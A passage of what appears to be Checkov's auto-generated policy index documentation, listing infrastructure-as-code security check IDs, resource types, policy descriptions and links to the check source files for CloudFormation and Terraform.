CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1620 | CKV2_AWS_75 | resource | aws_vpc_peering_connection                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1621 | CKV2_AWS_75 | resource | aws_vpc_peering_connection_accepter                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1622 | CKV2_AWS_75 | resource | aws_vpc_peering_connection_options                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1623 | CKV2_AWS_75 | resource | aws_vpc_security_group_egress_rule                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1624 | CKV2_AWS_75 | resource | aws_vpc_security_group_ingress_rule                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1625 | CKV2_AWS_75 | resource | aws_vpc_security_group_vpc_association                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1626 | CKV2_AWS_75 | resource | aws_vpclattice_access_log_subscription                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1627 | CKV2_AWS_75 | resource | aws_vpclattice_auth_policy                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1628 | CKV2_AWS_75 | resource | aws_vpclattice_listener                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1629 | CKV2_AWS_75 | resource | aws_vpclattice_listener_rule                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1630 | CKV2_AWS_75 | resource | aws_vpclattice_resource_configuration                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1631 | CKV2_AWS_75 | resource | aws_vpclattice_resource_gateway                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1632 | CKV2_AWS_75 | resource | aws_vpclattice_resource_policy                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1633 | CKV2_AWS_75 | resource | aws_vpclattice_service                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1634 | CKV2_AWS_75 | resource | aws_vpclattice_service_network                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1635 | CKV2_AWS_75 | resource | aws_vpclattice_service_network_resource_association              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1636 | CKV2_AWS_75 | resource | aws_vpclattice_service_network_service_association               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1637 | CKV2_AWS_75 | resource | aws_vpclattice_service_network_vpc_association                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1638 | CKV2_AWS_75 | resource | aws_vpclattice_target_group                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1639 | CKV2_AWS_75 | resource | aws_vpclattice_target_group_attachment                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1640 | CKV2_AWS_75 | resource | aws_vpn_connection                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1641 | CKV2_AWS_75 | resource | aws_vpn_connection_route                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1642 | CKV2_AWS_75 | resource | aws_vpn_gateway                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1643 | CKV2_AWS_75 | resource | aws_vpn_gateway_attachment                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1644 | CKV2_AWS_75 | resource | aws_vpn_gateway_route_propagation                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1645 | CKV2_AWS_75 | resource | aws_waf_byte_match_set                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1646 | CKV2_AWS_75 | resource | aws_waf_geo_match_set                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1647 | CKV2_AWS_75 | resource | aws_waf_ipset                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1648 | CKV2_AWS_75 | resource | aws_waf_rate_based_rule                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1649 | CKV2_AWS_75 | resource | aws_waf_regex_match_set                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1650 | CKV2_AWS_75 | resource | aws_waf_regex_pattern_set                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1651 | CKV2_AWS_75 | resource | aws_waf_rule                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1652 | CKV2_AWS_75 | resource | aws_waf_rule_group                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1653 | CKV2_AWS_75 | resource | aws_waf_size_constraint_set                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1654 | CKV2_AWS_75 | resource | aws_waf_sql_injection_match_set                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1655 | CKV2_AWS_75 | resource | aws_waf_web_acl                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1656 | CKV2_AWS_75 | resource | aws_waf_xss_match_set                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1657 | CKV2_AWS_75 | resource | aws_wafregional_byte_match_set                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1658 | CKV2_AWS_75 | resource | aws_wafregional_geo_match_set                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1659 | CKV2_AWS_75 | resource | aws_wafregional_ipset                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1660 | CKV2_AWS_75 | resource | aws_wafregional_rate_based_rule                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1661 | CKV2_AWS_75 | resource | aws_wafregional_regex_match_set                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1662 | CKV2_AWS_75 | resource | aws_wafregional_regex_pattern_set                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1663 | CKV2_AWS_75 | resource | aws_wafregional_rule                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1664 | CKV2_AWS_75 | resource | aws_wafregional_rule_group                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1665 | CKV2_AWS_75 | resource | aws_wafregional_size_constraint_set                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1666 | CKV2_AWS_75 | resource | aws_wafregional_sql_injection_match_set                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1667 | CKV2_AWS_75 | resource | aws_wafregional_web_acl                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1668 | CKV2_AWS_75 | resource | aws_wafregional_web_acl_association                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1669 | CKV2_AWS_75 | resource | aws_wafregional_xss_match_set                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1670 | CKV2_AWS_75 | resource | aws_wafv2_ip_set                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1671 | CKV2_AWS_75 | resource | aws_wafv2_regex_pattern_set                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1672 | CKV2_AWS_75 | resource | aws_wafv2_rule_group                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1673 | CKV2_AWS_75 | resource | aws_wafv2_web_acl                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1674 | CKV2_AWS_75 | resource | aws_wafv2_web_acl_association                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1675 | CKV2_AWS_75 | resource | aws_wafv2_web_acl_logging_configuration                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1676 | CKV2_AWS_75 | resource | aws_worklink_fleet                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1677 | CKV2_AWS_75 | resource | aws_worklink_website_certificate_authority_association           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1678 | CKV2_AWS_75 | resource | aws_workspaces_connection_alias                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1679 | CKV2_AWS_75 | resource | aws_workspaces_directory                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1680 | CKV2_AWS_75 | resource | aws_workspaces_ip_group                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1681 | CKV2_AWS_75 | resource | aws_workspaces_workspace                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1682 | CKV2_AWS_75 | resource | aws_xray_encryption_config                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1683 | CKV2_AWS_75 | resource | aws_xray_group                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1684 | CKV2_AWS_75 | resource | aws_xray_sampling_rule                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n\n\n---\n\n\n"
  },
  {
    "path": "docs/5.Policy Index/terraform.md",
    "content": "---\nlayout: default\ntitle: terraform resource scans\nnav_order: 1\n---\n\n# terraform resource scans (auto generated)\n\n|      | Id              | Type     | Entity                                                           | Policy                                                                                                                                                                                                   | IaC       | Resource Link                                                                                                                                                                                                                    |\n|------|-----------------|----------|------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-----------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|\n|    0 | CKV2_ADO_1      | resource | azuredevops_branch_policy_min_reviewers                          | Ensure at least two approving reviews for PRs                                                                                                                                                            | Terraform | [ADORepositoryHasMinTwoReviewers.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azuredevops/ADORepositoryHasMinTwoReviewers.yaml)                                                 |\n|    1 | CKV2_ADO_1      | resource | azuredevops_git_repository                                       | Ensure at least two approving reviews for PRs                                                                                                                                                            | Terraform | [ADORepositoryHasMinTwoReviewers.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azuredevops/ADORepositoryHasMinTwoReviewers.yaml)                                                 |\n|    2 | CKV_ALI_1       | resource | alicloud_oss_bucket                                              | Alibaba Cloud OSS bucket accessible to public                                                                                                                                                            | Terraform | [OSSBucketPublic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/alicloud/OSSBucketPublic.yaml)                                                                                    |\n|    3 | CKV_ALI_1       | resource | alicloud_oss_bucket_acl                                          | Alibaba Cloud OSS bucket accessible to public                                                                                                                                                            | Terraform | [OSSBucketPublic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/alicloud/OSSBucketPublic.yaml)                                                                                    |\n|    4 | CKV_ALI_2       | resource | alicloud_security_group_rule                                     | Ensure no security groups allow ingress from 0.0.0.0:0 to port 22                                                                                                                                        | Terraform | [SecurityGroupUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/SecurityGroupUnrestrictedIngress22.py)                                                      |\n|    5 | CKV_ALI_3       | resource | alicloud_security_group_rule                                     | Ensure no security groups allow ingress from 0.0.0.0:0 to port 3389                                                                                                                                      | Terraform | [SecurityGroupUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/SecurityGroupUnrestrictedIngress3389.py)                                                  |\n|    6 | CKV_ALI_4       | resource | alicloud_actiontrail_trail                                       | Ensure Action Trail Logging for all regions                                                                                                                                                              | Terraform | [ActionTrailLogAllRegions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/ActionTrailLogAllRegions.py)                                                                          |\n|    7 | CKV_ALI_5       | resource | alicloud_actiontrail_trail                                       | Ensure Action Trail Logging for all events                                                                                                                                                               | Terraform | [ActionTrailLogAllEvents.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/ActionTrailLogAllEvents.py)                                                                            |\n|    8 | CKV_ALI_6       | resource | alicloud_oss_bucket                                              | Ensure OSS bucket is encrypted with Customer Master Key                                                                                                                                                  | Terraform | [OSSBucketEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/OSSBucketEncryptedWithCMK.py)                                                                        |\n|    9 | CKV_ALI_7       | resource | alicloud_disk                                                    | Ensure disk is encrypted                                                                                                                                                                                 | Terraform | [DiskIsEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/DiskIsEncrypted.py)                                                                                            |\n|   10 | CKV_ALI_8       | resource | alicloud_disk                                                    | Ensure Disk is encrypted with Customer Master Key                                                                                                                                                        | Terraform | [DiskEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/DiskEncryptedWithCMK.py)                                                                                  |\n|   11 | CKV_ALI_9       | resource | alicloud_db_instance                                             | Ensure database instance is not public                                                                                                                                                                   | Terraform | [RDSIsPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RDSIsPublic.py)                                                                                                    |\n|   12 | CKV_ALI_10      | resource | alicloud_oss_bucket                                              | Ensure OSS bucket has versioning enabled                                                                                                                                                                 | Terraform | [OSSBucketVersioning.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/OSSBucketVersioning.py)                                                                                    |\n|   13 | CKV_ALI_11      | resource | alicloud_oss_bucket                                              | Ensure OSS bucket has transfer Acceleration enabled                                                                                                                                                      | Terraform | [OSSBucketTransferAcceleration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/OSSBucketTransferAcceleration.py)                                                                |\n|   14 | CKV_ALI_12      | resource | alicloud_oss_bucket                                              | Ensure the OSS bucket has access logging enabled                                                                                                                                                         | Terraform | [OSSBucketAccessLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/OSSBucketAccessLogs.py)                                                                                    |\n|   15 | CKV_ALI_13      | resource | alicloud_ram_account_password_policy                             | Ensure RAM password policy requires minimum length of 14 or greater                                                                                                                                      | Terraform | [RAMPasswordPolicyLength.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyLength.py)                                                                            |\n|   16 | CKV_ALI_14      | resource | alicloud_ram_account_password_policy                             | Ensure RAM password policy requires at least one number                                                                                                                                                  | Terraform | [RAMPasswordPolicyNumber.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyNumber.py)                                                                            |\n|   17 | CKV_ALI_15      | resource | alicloud_ram_account_password_policy                             | Ensure RAM password policy requires at least one symbol                                                                                                                                                  | Terraform | [RAMPasswordPolicySymbol.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RAMPasswordPolicySymbol.py)                                                                            |\n|   18 | CKV_ALI_16      | resource | alicloud_ram_account_password_policy                             | Ensure RAM password policy expires passwords within 90 days or less                                                                                                                                      | Terraform | [RAMPasswordPolicyExpiration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyExpiration.py)                                                                    |\n|   19 | CKV_ALI_17      | resource | alicloud_ram_account_password_policy                             | Ensure RAM password policy requires at least one lowercase letter                                                                                                                                        | Terraform | [RAMPasswordPolicyLowercaseLetter.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyLowercaseLetter.py)                                                          |\n|   20 | CKV_ALI_18      | resource | alicloud_ram_account_password_policy                             | Ensure RAM password policy prevents password reuse                                                                                                                                                       | Terraform | [RAMPasswordPolicyReuse.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyReuse.py)                                                                              |\n|   21 | CKV_ALI_19      | resource | alicloud_ram_account_password_policy                             | Ensure RAM password policy requires at least one uppercase letter                                                                                                                                        | Terraform | [RAMPasswordPolicyUppcaseLetter.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyUppcaseLetter.py)                                                              |\n|   22 | CKV_ALI_20      | resource | alicloud_db_instance                                             | Ensure RDS instance uses SSL                                                                                                                                                                             | Terraform | [RDSInstanceSSL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RDSInstanceSSL.py)                                                                                              |\n|   23 | CKV_ALI_21      | resource | alicloud_api_gateway_api                                         | Ensure API Gateway API Protocol HTTPS                                                                                                                                                                    | Terraform | [APIGatewayProtocolHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/APIGatewayProtocolHTTPS.py)                                                                            |\n|   24 | CKV_ALI_22      | resource | alicloud_db_instance                                             | Ensure Transparent Data Encryption is Enabled on instance                                                                                                                                                | Terraform | [RDSTransparentDataEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RDSTransparentDataEncryptionEnabled.py)                                                    |\n|   25 | CKV_ALI_23      | resource | alicloud_ram_account_password_policy                             | Ensure Ram Account Password Policy Max Login Attempts not > 5                                                                                                                                            | Terraform | [RAMPasswordPolicyMaxLogin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyMaxLogin.py)                                                                        |\n|   26 | CKV_ALI_24      | resource | alicloud_ram_security_preference                                 | Ensure RAM enforces MFA                                                                                                                                                                                  | Terraform | [RAMSecurityEnforceMFA.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RAMSecurityEnforceMFA.py)                                                                                |\n|   27 | CKV_ALI_25      | resource | alicloud_db_instance                                             | Ensure RDS Instance SQL Collector Retention Period should be greater than 180                                                                                                                            | Terraform | [RDSRetention.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RDSRetention.py)                                                                                                  |\n|   28 | CKV_ALI_26      | resource | alicloud_cs_kubernetes                                           | Ensure Kubernetes installs plugin 